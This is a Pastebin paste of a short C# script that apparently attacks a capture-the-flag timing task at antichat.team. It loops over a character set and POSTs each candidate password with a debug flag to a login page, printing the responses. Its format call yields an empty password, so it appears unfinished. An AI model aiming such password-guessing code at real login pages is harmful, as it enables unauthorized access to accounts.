Advertisement
Guest User

Untitled

a guest
Jul 13th, 2016
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. using System;
  2. using System.IO;
  3. using System.Net;
  4. using System.Text;
  5. namespace Antichat2
  6. {
  7.     public class Program
  8.     {
  9.         public static void Main(string[] args)
  10.         {
  11.             string site = @"https://antichat.team/tasks/timing/login.php";
  12.             string wordlist = "[]!@;:._-+=()QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890{}";
  13.  
  14.             foreach (Char chr in wordlist)
  15.             {
  16.                 string pass = String.Format("", chr);
  17.                 //pass += String.Format( "{0}", chr);
  18.                 Console.WriteLine(POST(site, String.Format("password={0}&debug=true", pass)));
  19.                 Console.Write("------" + pass);
  20.             }
  21.             Console.ReadKey();
  22.         }
  23.  
  24.         private static string POST(string Url, string Data)
  25.         {
  26.             WebRequest req = WebRequest.Create(Url);
  27.             req.Method = "POST";
  28.             req.ContentType = "application/x-www-form-urlencoded";
  29.             byte[] sentData = Encoding.GetEncoding(1251).GetBytes(Data);
  30.             req.ContentLength = sentData.Length;
  31.             Stream sendStream = req.GetRequestStream();
  32.             sendStream.Write(sentData, 0, sentData.Length);
  33.             sendStream.Close();
  34.             HttpWebResponse res = (HttpWebResponse)req.GetResponse();
  35.             Stream ReceiveStream = res.GetResponseStream();
  36.             StreamReader sr = new StreamReader(ReceiveStream, Encoding.UTF8);
  37.  
  38.             Char[] read = new Char[256];
  39.             int count = sr.Read(read, 0, 256);
  40.             string Out = String.Empty;
  41.             while (count > 0)
  42.             {
  43.                 String str = new String(read, 0, count);
  44.                 Out += str;
  45.                 count = sr.Read(read, 0, 256);
  46.             }
  47.             return Out;
  48.         }
  49.     }
  50. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement